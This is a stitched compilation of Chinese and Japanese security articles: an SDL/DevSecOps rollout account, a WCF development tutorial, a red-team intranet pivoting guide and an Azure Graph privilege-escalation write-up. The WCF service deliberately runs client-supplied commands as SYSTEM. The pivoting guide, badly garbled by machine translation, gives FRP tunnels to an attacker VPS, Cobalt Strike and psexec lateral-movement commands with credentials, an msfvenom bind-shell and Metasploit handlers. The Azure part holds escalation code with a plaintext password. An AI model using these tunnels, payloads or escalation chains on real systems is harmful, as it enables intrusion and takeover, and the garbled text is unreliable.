安全SDK由于公司有架构部门,开发框架基本是架构部门提供。我们将一些常见的漏洞和架构部门沟通之后,让架构将一些漏洞修复方式用SDK实现,开发只需要导入JAR包,在配置文件中配置即可。其中也挺多坑的,需要慢慢优化。 三、 安全需求设计公司有项目立项系统,所有的项目立项都需要通过系统来进行立项,安全为必选项,评审会安全也必须要参与 这个时候基本上项目经理会找安全人员进行沟通,copy了一份VIP的产品安全设计规范,根据需求文档和项目经理确定安全需求。 确认好安全需求之后将按需求加入到需求文档,并确认安全测试时间,此流程只针对新项目,已经上线的项目的需求并未按照此流程,后续在安全测试时候会讲到这部分的项目是怎么做的。 四、开发、安全测试安全测试主要分为代码审计,漏洞扫描,手工安全测试。由此衍生出来的安全产品分为3类。DAST:动态应用程序安全测试 (wvs,appscan)、SAST:静态应用程序安全测试 (fortify,rips)、IAST:交互式应用程序安全测试 (seeker,雳鉴),这三种产品的详细介绍可以参考https://www.aqniu.com/learn/46910.html,下图为三种产品的测试结果对比。 这几类产品实现了自动化可以继承到DevOps中。接下来我们将这些工具融入到开发测试阶段。 IAST的实现模式较多,常见的有代理模式、VPN、流量镜像、插桩模式,本文介绍最具代表性的2种模式,代理模式和插桩模式。一些调研过的产品如下图,具体测试结果就不公布了。 开发阶段在对几类产品调研的时候发现IAST的插桩模式可以直接放到开发环境,开发环境和测试环境的代码区别主要还是在于application.yml配置文件,所以可以提前将该模式放到开发阶段。 开发写完代码提交到gitlab部署到开发环境启动应用的时候,开发需要验证一下功能是否可用,这个时候就可以检测出是否存在漏洞。 公司在测试环境使用rancher,把IAST的jar包放入到项目的gitlab,在部署的时候把代码拉到本地,通过修改Dockerfile文件把jar包添加到容器。 ADD shell/xxx.jar /home/app/xx/lib 由于公司项目基本统一使用spring-boot,所有的项目都通过一个start.sh脚本来启动应用,start.sh和Dockerfile一样需要添加到项目的gitlab,同时修改start.sh脚本文件即可。 -javaagent:$APP_HOME/lib/xx.jar -jar $APP_HOME/app/*.jar --spring.profiles.active=dev >$APP_HOME/logs/startup.log 2>&1 & 测试项目如下,忽略错别字: 开发提交代码部署完之后,访问一下正常的功能即可在平台上看见是否存在漏洞。 部分产品同时还会检测第三方组件包。 公司使用harbor来对镜像进行当仓库镜像,项目部署完成之后会打包成一个镜像上传到harbor,harbor自带镜像扫描功能。 测试阶段开发完成之后进入到测试阶段。这个阶段我们进行静态代码扫描,功能测试,安全测试。 静态代码扫描利用静态代码扫描工具对代码在编译之前进行扫描,并在静态代码层面上发现各种问题,其中包括安全问题。部分工具列表: 静态代码扫描我们采用sonarQube集成,我们使用的是FindbugSecurity,精简规则,然后在持续构建过程中,进行静态代码bug,安全扫描。 静态代码扫描的同时也可以扫描第三方依赖包,OWSAP的Dependency-Check就可以集成到持续构建过程中,由于IAST类产品支持该功能,不多做介绍。 功能测试功能测试方面,公司测试部门实现了自动化测试平台,前期我们并未使用agent的方式检测,一开始使用开源的gourdscan加上openrasp,利用openrasp的默认开启不拦截模式和漏洞记录功能来检测服务端无返回的漏洞。 只需要在自动化平台上配置代理IP: openrasp漏洞记录 后来测试反馈扫描的脏数据太多,效果也并不是很好,就放弃了此方案。改用开发阶段的IAST的插桩方式,同样在测试环境也和开发环境一样利用agent来检测问题。功能测试完成之后。由于测试人员对漏洞并不是太理解,所以定的流程为测试人员到平台查看报告和安全人员沟通哪些问题需要修复,然后将问题写入到测试报告 安全测试在测试阶段已经将安全加入到整个流程里面,所有需求更改完成都需要通过功能测试,也就是所有的流程过一遍安全测试,这样安全人手也不是很足,决定采用内外服务区分的办法来确定是否需要安全人员介入 漏洞管理漏洞管理这一块制定了漏洞管理制度,根据影响程度对漏洞进行评级,严重漏洞必须改完之后才能上线,高中低危漏洞且影响较小需要排期,安全人员定期跟踪漏洞修复情况。 五、 监控支付公司一般安全设备基本都有,这一块基本上将设备的syslog打到日志中心可视化,并定制对应的规则实现告警即可 六、结束语个人知识和经验不足对sdl的体系并不是很熟悉,没什么经验,所以只能做到目前的程度。后续还有许多地方可以优化,增加流程等。如果有什么好的建议欢迎交流 来源: https://xz.aliyun.com/t/5656
  16. 0x00 前言Windows Communication Foundation (WCF)是用於在.NET Framework中構建面向服務的應用程序的框架。本文將要介紹WCF開發的相關內容,為後續介紹的內容作鋪墊。 0x01 簡介本文將要介紹以下內容: ◼使用basicHttpBinding實現WCF ◼使用NetTcpBinding實現WCF ◼通過命令行實現WCF ◼通過IIS實現WCF ◼通過服務實現WCF 0x02 基礎知識參考資料: https://docs.microsoft.com/en-us/dotnet/framework/wcf/whats-wcf 常用的傳輸協議: ◼HTTP,http://localhost:8080/ ◼TCP,net.tcp://localhost:8080/ ◼IPC,net.pipe://localhost/ 常用的Binding: ◼BasicHttpBinding ◼WSHttpBinding ◼NetTcpBinding ◼NetNamedPipeBinding 元數據發布(metadata exchange),簡稱MEX WCF默認禁用MEX,這樣能夠避免數據洩露 本著逐步深入的原則,本系列文章選擇先介紹開啟MEX的用法,這樣能夠提高客戶端開發的效率,禁用MEX的用法將放在下篇文章進行介紹。 0x03 使用basicHttpBinding實現WCF本節採用命令行實現WCF的方式作為示例 開發工具:Visual Studio 2015 1.服務端編寫(1)新建項目 選擇Visual C#-Console Application,名稱為basicHttpBindingWCFServer (2)新建WCF服務 選擇Add-New Item.選擇WCF Service,名稱為Service1.cs (3)修改service1.cs 添加DoWork的實現代碼,代碼示例: (4)修改Program.cs 添加引用System.ServiceModel 添加啟動代碼,代碼示例: (5)編譯運行 命令行輸出服務地址:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/ 服務地址也可以在工程中的App.config查看 (6)測試 此時開啟了MEX,可選擇以下方法進行測試: 通過瀏覽器訪問服務地址:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/,能夠返回服務信息 使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/,調用DoWork(),此時服務端命令行輸出Run Server.DoWork(),方法調用成功 使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1//out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS 注: App.config由Visual Studio自動生成,服務地址由App.config隨機指定,這裡也可以通過代碼的方式指定服務地址,不需要依賴App.config,方法如下: Program.cs示例: App.config示例: 2.客戶端編寫(1)新建項目 選擇Visual C#-Console Application,名稱為basicHttpBindingWCFClient (2)引用服務 選擇Add-Service Reference. 填入URL:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/ (3)修改Program.cs 代碼示例: (4)編譯運行 此時服務端命令行輸出Run Server.DoWork(),方法調用成功 0x04 使用NetTcpBinding實現WCF本節採用命令行實現WCF的方式作為示例 1.服務端編寫(1)新建項目 選擇Visual C#-Console Application,名稱為NetTcpBindingWCFServer (2)新建WCF服務 選擇Add-New Item.選擇WCF Service,名稱為Service1.cs (3)修改service1.cs 添加DoWork的實現代碼,代碼示例: (4)修改Program.cs 添加引用System.ServiceModel 添加啟動代碼,代碼示例: (5)修改App.config Line10: serviceMetadata httpGetEnabled='true' httpsGetEnabled='true' / 修改為: serviceMetadata httpGetEnabled='false' httpsGetEnabled='false' / Line17: endpoint address='' binding='basicHttpBinding' contract='NetTcpBindingWCFServer.IService1' 修改為: endpoint address='' binding='netTcpBinding' contract='NetTcpBindingWCFServer.IService1' Line22: endpoint address='mex' binding='mexHttpBinding' contract='IMetadataExchange' / 修改為: endpoint address='mex' binding='mexTcpBinding' contract='IMetadataExchange' / Line25: add baseAddress='http://localhost:8733/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/' / 修改為: add baseAddress='net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/' / 完整代碼示例: (6)編譯運行 命令行輸出服務地址:net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/ (7)測試 此時開啟了MEX,可選擇以下方法進行測試: 使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/,調用DoWork(),此時服務端命令行輸出Run Server.DoWork(),方法調用成功 使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1//out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS 2.客戶端編寫(1)新建項目 選擇Visual C#-Console Application,名稱為NetTcpBindingWCFClient 方法同0x03中的2.客戶端編寫 0x05 通過IIS實現WCF本節僅以服務端編寫作為示例,客戶端編寫同命令行實現的方法一致 1.服務端編寫(1)新建項目 選擇Visual C#-WCF-WCF Service Library,名稱為WcfServiceLibrary1 (2)發布 選中項目,右鍵-Publish.設置Target location為c:\wcfdemo (3)在IIS管理頁面下新建網站 設置以下參數: ◼Site name:wcfdemo ◼Physical path:c:\wcfdemo ◼IP address: All unassigned ◼Port:81 選中網站wcfdemo,進入Content View 選中WcfServiceLibrary1.Service1.svc,右鍵-Browse,得到URL:http://localhost:81/WcfServiceLibrary2.Service1.svc (4)測試 此時開啟了MEX,可選擇以下方法進行測試: 通過瀏覽器訪問服務地址:http://localhost:81/WcfServiceLibrary2.Service1.svc,能夠返回服務信息 使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:81/WcfServiceLibrary2.Service1.svc,調用GetData(),獲得返回值,方法調用成功 使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:81/WcfServiceLibrary2.Service1.svc,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS 0x06 通過服務實現WCF本節僅以服務端編寫作為示例,客戶端編寫同命令行實現的方法一致 1.使用basicHttpBinding實現服務端 (1)新建項目 選擇Visual C#-Console Application,名稱為WCFService (2)新建Windows Service 選擇Add-New Item.選擇Windows Service,名稱為Service1.cs (3)設置服務信息 選中Service1.cs,右鍵-Add Installer 項目中自動創建ProjectInstaller.cs文件,該文件會添加倆個組件serviceProcessInstaller1和serviceInstaller1 選中serviceProcessInstaller1組件,查看屬性,設置account為LocalSystem 選中serviceInstaller1組件,查看屬性,設置ServiceName為VulServiceTest1 (4)編輯Program.cs (5)啟動服務 編譯生成WCFService.exe 安裝服務: 啟動服務: 補充:卸載服務 (6)測試 此時開啟了MEX,可選擇以下方法進行測試: 通過瀏覽器訪問服務地址:http://localhost:1112/TestService,能夠返回服務信息 使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:1112/TestService,調用RunMe(),在str對應的Value輸入calc,執行後啟動system權限的calc,方法調用成功 使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:1112/TestService /out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS 2.使用NetTcpBinding實現服務端 方法同上,區別在於Program.cs,示例代碼如下: 注: 服務端設置了HttpGetUrl:http://localhost:1114/TestService 0x07 小結本文介紹了在啟用元數據發布(MEX)時WCF開發的相關內容,下一篇將要介紹關閉元數據發布(MEX)時WCF開發的相關內容。
  17. 序文 イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。 以下は、「実際の戦闘におけるイントラネットの浸透の道」のマインドマップの自己サマリーです。 ターゲットアウトバウンド(ソックスプロキシ) これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。 FRP(Socks5)FRPサーバー構成ファイル: 1 | [一般] 2 | bind_port=8080frpクライアント構成ファイル: 1 | [一般] 2 | server_addr=xx.xx.xx.xx 3 | server_port=8080 4 | #Serviceポートは一般的なWebポートを使用します 5 | 6 | [Socks5] 7 | type=tcp 8 | remote_port=8088 9 |プラグイン=socks5 10 | use_encryption=true 11 | use_compression=true 12 | #Socks5パスワード 13 | #plugin_user=superman 14 | #plugin_passwd=xpo2mcwe6nj3暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。 use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ] use_compression=True Enable Compression [送信されたネットワークトラフィックを効果的に削減し、トラフィック転送速度を高速化するように伝達コンテンツを伝達しますが、追加のCPUリソースを消費します] use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連のフォルダーに配置されて非表示になります。 暗号化圧縮の比較これは、暗号化と圧縮関数を使用しないFRPクライアント構成ファイルです。 Metasploitは、Socksプロキシを使用して、MS17_010から送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。 暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を避けて、送信されたデータパケットを区別できません。 コバルトストライク(Socks4a)制御されたターゲットマシンのビーコンに、ソックスエージェントを有効にします。 1 |ビーコンソックス1024 #portは、VPSの実際の状況に応じて設定されています プロキシピボットを表示メニューバーで、コピープロキシはMetaSploitに接続されているか、関連するセキュリティツールにSocks4aを直接ハングします。 は、オンラインマシンでは利用できません。これはリンクリンクです。メインリンク(ネットワークビーコン)が切断されている限り、それらはすべて切断されます! SMBビーコン公式紹介SMBビーコン:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用しています。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。 SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。 操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。 は、メインビーコンのリンクホストリンクまたはリンクホストをリンクすることと切断できます。 1 |ビーコンリンク192.168.144.155 2 | Beaccon Unlink 192.168.144.155 Linkリスナーオンラインホストでリスナーを作成します。 このタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。 作成したばかりのリスナーを選択します。 現在のオンラインターゲットマシンに生成されたペイロードをアップロードし、PSEXEC.EXEツールをこちらを使用してください。 (Cobalstrike自体は十分に強力ではありません)ビーコンのPSEXECツールを使用して、ネットワークを離れない、自動的に実行し、オンラインになるターゲットマシンにペイロードをアップロードします。 1 |ビーコンシェルC:WINDOWSTEMPPSEXEC.EXE -ACCEPTEULA \ 192.168.144.155,192.168.144.196 -U管理者-P管理 1 |ビーコンシェルNetstat -Ano | FindStr 4444 SSH login1 |ビーコンSSH 192.168.144.174:22ルート管理 2 |ビーコンSSH 192.168.144.203:22ルート管理 Linuxターゲットマシンのネットワーク接続ステータスを確認します。これは、以前に起動したWindowsホストに確立された接続です。 ターゲットはネットワークから出ない(HTTPプロキシ) ターゲットマシンネットワークには、HTTP一元配電のみを許可し、正常にインターネットにアクセスできないターゲットマシンネットワークにファイアウォール、ネットワークゲートなどがある場合があります。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。 Regeorg(Socks5)1 | python regeorgsocksproxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080 Metasploitを使用してRegeorg Socks Proxyをハングして、MS17_010によって送信されたデータパケットをスキャンします。 neo-regeorg(暗号化)1 | python neoreg.py -kテスト@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo -tunnel.aspx Neo-Regeorgを使用した後、パケットは暗号化されました。 Ice Scorpion(Open Socks5)Ice Scorpionのパケットトランスミッションは暗号化されており、ソックスプロキシ機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。 アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。 Reduh(シングルポート転送)ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低い場合、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。 ここで例として、Reduhを取り上げます。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。以下の特定のプロセスを見てみましょう。 1 | sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe 2 | 3 | -Platformプラットフォームペイロードのターゲットプラットフォームを指定します 4 | -e、-Encoderエンコーダー使用するエンコーダーを指定します 5 | -i、-iterationsカウントペイロードのエンコード時間の数を指定します。ペイロードをターゲットサーバーにアップロードして実行します。 metasploitは、転送を聞いた後のアドレスとポートです。 1 | sudo msfconsole -q 2 | MSF5 Exploit/Multi/Handlerを使用します 3 | MSF5 Exploit(Multi/Handler)Payload Windows/shell_bind_tcpを設定します 4 | MSF5 Exploit(Multi/Handler)Set RHOST 127.0.0.1 5 | MSF5 Exploit(Multi/Handler)Set LPort 5353 6 | MSF5 Exploit(Multi/Handler)Run -J Reduhserverがターゲットマシンに送信された後、Reduhclientを使用して接続し、リバウンドポートを局所的に回転させます。 1 | Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspx 2 | 3 | Telnet 127.0.0.1 1010 4 | [CreateTunnel] 5353:127.0.0.1:53 は、メタプロイトに浸透するか、Socks4aをオンにして、他のセキュリティツールをマウントして浸透を継続することができます。 1 | MSF5 Exploit(Multi/Handler)補助/サーバー/Socks4aを使用します 2 | MSF5 Auxiliary(Server/Socks4a)SET SRVPORT 10080を設定します 3 | MSF5 Auxiliary(server/socks4a)run -J に注意してください。なぜペイロードにメータープレターの代わりにシェルが必要なのか。 MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします! 分離ネットワーク(マルチレベルエージェント) イントラネット浸透中、孤立したネットワークが遭遇し、より論理的に分離されます。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。 FRPは現在、デュアルネットワークカードイントラネットサーバーの権限を取得しており、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。 プロキシファイアがFRPで確立された後、外部ネットワークソックスとイントラネットソックスの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください) プロキシルールを設定し、対応するプロキシを選択します。 2番目の層エージェントが成功し、イントラネット分離マシン445検出が開かれました。 ProxyChainsコマンドラインプロキシアーティファクトプロキシチャインは、第2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)
  18. Microsoft 的Azure 是一個由主體、安全對像以及授予這些對象訪問權限的各種方式組成的複雜系統。一些權限操作由Azure AD 角色嚴格控制,而其他操作由角色和對象所有權者控制。 Azure 中的許多對像都受制於不同的權限系統,這會使訪問變得非常困難。 在這篇文章中,我將描述如何利用這些權限系統升級為全局管理員。我將描述作為攻擊者如何利用此系統,還將描述作為防御者如何進行安全配置。 在Azure 的攻擊研究中,至少有兩個人開放過API 權限利用: 马云惹不起马云 Dirk-Jan Mollema在此處討論了可利用的Azure API 權限。 https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/马云惹不起马云Lina Lau 在這裡討論了利用應用程序和服務主體對Azure 租戶進行後門攻擊。 https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html0x01 Azure API 權限介紹Azure AD 使用“角色”的概念為主體分配權限。例如,“全局管理員”是Azure AD 目錄角色。 Azure API 權限是一組完全不同的並行權限,可以授予Azure 服務主體。 Azure AD 角色和Azure API 權限之間存在一些重疊,但最好將它們視為並行權限系統。 這些並行系統可用於控制對相同對象的訪問,它們可用於授予對相同對象的訪問權限。但是,僅當主體通過該API 對目標對象進行操作時,才會考慮Azure API 權限系統中授予的特定權限: 在繼續分析之前,先解釋一些專有名詞,這些系統非常複雜,在分析時很容易混淆。 Principal — 可以進行身份驗證的身份。在Azure-land 中,主體可以是用戶或服務主體,使用用戶名和密碼登錄時,你正在使用用戶主體對Azure 進行身份驗證。 Azure AD App Registration— 駐留在Azure 租戶中的應用程序對象。 Azure Apps是處理配置信息的地方,你可以在其中授予用戶對應用程序的訪問權限並讓應用程序執行操作。 Service Principal— Azure Apps在需要向Azure 進行身份驗證時使用的標識。服務主體可以使用用戶名和密碼進行身份驗證。就像用戶一樣,服務主體可以控制Azure 中的其他對象。 API Permission— 一種原子的、唯一可識別的權限,適用於特定的Azure Apps。 API 權限有兩種形式:“委派”和“應用”。 API 權限描述了授予Azure Apps的特定權限。 MS Graph API 中的API 權限以“Resource.Operation.Constraint”格式編寫。示例:“Directory.ReadWrite.All”是指授予此權限的主體可以讀取和寫入目錄中的所有對象。 App Role— 由Azure Apps授予的權限,可直接由授予它的主體使用。 Delegated Permissions— 由Azure 應用授予的權限,但只能代表已通過應用進行身份驗證的用戶使用。委託人不能自己使用委派角色,但他們可以模擬確實具有該角色的登錄用戶,代表用戶使用該角色。 Application App Role ——Azure Apps本身持有的權限。應用程序可以使用此角色,而無需用戶先登錄應用程序。 Resource App— 與Azure Apps訪問的應用程序關聯的唯一標識的服務主體。應用程序角色是按資源應用程序定義的。 根據上下文,所有這些術語都可以指代同一個對象:Service Principal、Enterprise Application、Resource App 和First Party Application。 下面會描述如何形成攻擊路徑。 0x02 利用API 權限實現權限提升作為Azure 管理員、防御者或攻擊者,你將與之交互的最常見的資源應用程序之一是Microsoft Graph。基本上,你想要採取的所有可利用的管理操作都可以通過Microsoft Graph API 實現。 每個Azure 租戶都有一個Microsoft Graph Resource App。你可以通過搜索其顯示名稱“GraphAggregatorService”在你自己的租戶中找到它。在我的賬戶中,Microsoft Graph 的“應用程序ID”是00000003–0000–0000-c000–000000000000: 為什麼是同一個ID?因為此應用實際上位於Microsoft 控制的Azure AD 租戶中,讓我們從Graph的角度思考這些事情: 這些對象具有相同的顯示名稱,但它們是具有不同ID 的不同對象。另外,上面藍色表示的信任邊界意味著Microsoft租戶中的Global Admin無法控制SpecterDev租戶中的Resource App,SpecterDev租戶中的Global Admin無法控制Microsoft租戶中的Azure App。 現在添加一些應用程序角色。應用程序角色特定於每個資源應用程序。為了在這裡解釋一種權限提升的可能性,我們將重點關注兩個應用程序角色:AppRoleAssignment.ReadWrite.All 和RoleManagement.ReadWrite.Directory: 此時,這些應用程序角色僅可供管理員授予服務主體,但實際上還沒有人擁有這些權限。繼續將“AppRoleAssignment.ReadWrite.All”應用程序角色授予另一個服務主體,將使其成為“Application App Role”(而不是“委託權限”),以便服務主體本身俱有此權限: 並且不要忘了“MyCoolAzureApp”服務主體與Azure Apps“MyCoolAzureApp”相關聯: 現在“MyCoolAzureApp”已經設置好了,可以將自己或其他任何人變成全局管理員。為了理解這一點,需要討論一下這兩個特定的應用程序角色允許服務主體做什麼 Microsoft 文檔描述的“AppRoleAssignment.ReadWrite.All”權限: “允許應用程序管理任何API(包括Microsoft Graph)的應用程序權限的權限授予和任何應用程序的應用程序分配,而無需登錄用戶。” 這意味著“AppRoleAssignment.ReadWrite.All”可讓你授予自己所需的任何API 權限。這個特殊的角色還繞過了手動的、人工的管理員授權過程。擁有這個角色意味著“MyCoolAzureApp”可以授予自己“RoleManagement.ReadWrite.Directory”: 可以用“RoleManagement.ReadWrite.Directory”做什麼?文檔描述如下: “允許應用在沒有登錄用戶的情況下讀取和管理公司目錄的基於角色的訪問控制(RBAC)設置。這包括實例化目錄角色和管理目錄角色成員身份,以及讀取目錄角色模板、目錄角色和成員身份。” 換句話說,你可以授予自己任何你想要的目錄角色,包括全局管理員: 我們的攻擊路徑就出來了: 1.MyCoolAzureApp 應用作為MyCoolAzureApp 服務主體運行。 2.MyCoolAzureApp 服務主體具有“AppRoleAssignment.ReadWrite.All”權限,允許授予自己“RoleManagement.ReadWrite.Directory”。 3.在授予自己“RoleManagement.ReadWrite.Directory”後,MyCoolAzureApp 服務主體可以將自己提升為全局管理員。 這是此攻擊路徑的實際操作視頻: https://vimeo.com/646553826這是上面演示中的示例攻擊代碼: ##GrantingGlobalAdminrightsbychainingAppRoleAssignment.ReadWrite.AllintoRoleManagement.ReadWrite.Directory #HelperfunctiontoletusparseAzureJWTs: functionParse-JWTtoken{ # .DESCRIPTION DecodesaJWTtoken.Thiswastakenfromlinkbelow.ThankstoVasilMichev. .LINK https://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell # [cmdletbinding()] param( [Parameter(Mandatory=$True)] [string]$Token ) #Validateasperhttps://tools.ietf.org/html/rfc7519 #AccessandIDtokensarefine,Refreshtokenswillnotwork if(-not$Token.Contains('.')-or-not$Token.StartsWith('eyJ')){ Write-Error'Invalidtoken'-ErrorActionStop } #Header $tokenheader=$Token.Split('.')[0].Replace('-','+').Replace('_','/') #Fixpaddingasneeded,keepadding'='untilstringlengthmodulus4reaches0 while($tokenheader.Length%4){ Write-Verbose'InvalidlengthforaBase-64chararrayorstring,adding=' $tokenheader+='=' } Write-Verbose'Base64encoded(padded)header:$tokenheader' #ConvertfromBase64encodedstringtoPSObjectallatonce Write-Verbose'Decodedheader:' $header=([System.Text.Encoding]:ASCII.GetString([system.convert]:FromBase64String($tokenheader))|convertfrom-json) #Payload $tokenPayload=$Token.Split('.')[1].Replace('-','+').Replace('_','/') #Fixpaddingasneeded,keepadding'='untilstringlengthmodulus4reaches0 while($tokenPayload.Length%4){ Write-Verbose'InvalidlengthforaBase-64chararrayorstring,adding=' $tokenPayload+='=' } Write-Verbose'Base64encoded(padded)payoad:$tokenPayload' $tokenByteArray=[System.Convert]:FromBase64String($tokenPayload) $tokenArray=([System.Text.Encoding]:ASCII.GetString($tokenByteArray)|ConvertFrom-Json) #Converts$headerand$tokenArrayfromPSCustomObjecttoHashtablesotheycanbeaddedtogether. #Iwouldliketouse-AsHashTableinconvertfrom-json.Thisworksinpwsh6butforsomereasonAppveyorisntrunningtestsinpwsh6. $headerAsHash=@{} $tokenArrayAsHash=@{} $header.psobject.properties|ForEach-Object{$headerAsHash[$_.Name]=$_.Value} $tokenArray.psobject.properties|ForEach-Object{$tokenArrayAsHash[$_.Name]=$_.Value} $output=$headerAsHash+$tokenArrayAsHash Write-Output$output } #GetridofanytokensorAzureconnectionsinthisPowerShellinstance Disconnect-AzureAD Disconnect-AzAccount $token=$null $aadToken=$null #ConnecttoAzureasMattNelson: $AzureUserID='mnelson@specterdev.onmicrosoft.com' $AzureTenantID='6c12b0b0-b2cc-4a73-8252-0b94bfca2145' $AzurePassword=ConvertTo-SecureString'k33p3r0fTh3T3nRul3z!'-AsPlainText-Force $psCred=New-ObjectSystem.Management.Automation.PSCredential($AzureUserID,$AzurePassword) Connect-AzAccount-Credential$psCred-TenantID$AzureTenantID #ConnecttoAzureADasMattNelson: $context=[Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]:Instance.Profile.DefaultContext $aadToken=[Microsoft.Azure.Commands.Common.Authentication.AzureSession]:Instance.AuthenticationFactory.Authenticate($context.Account,` $context.Environment,` $context.Tenant.Id.ToString(),` $null,` [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]:Never,` $null,'https://graph.windows.net').AccessToken Connect-AzureAD-AadAccessToken$aadToken-AccountId$context.Account.Id-TenantId$context.tenant.id #Let'sverifytheobjectIDfortheGlobalAdminroleinourtenant: Get-AzureADDirectoryRole|?{$_.DisplayName-eq'GlobalAdministrator'} #MattNelsonisnotaGlobalAdmin:( Get-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'|selectDisplayName #MattNelsoncan'tpromotehimselftoGlobalAdmin:( Add-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'-RefObjectId'825aa930-14f0-40af-bdef-627524bc529e' #Let'sgettheobjectIDofthe'MyCoolApp'appregistrationobject: Get-AzureADApplication-All$True|?{$_.DisplayName-eq'MyCoolApp'} #MattNelsonownstheMyCoolAppappregistration,sohecanaddanewsecret
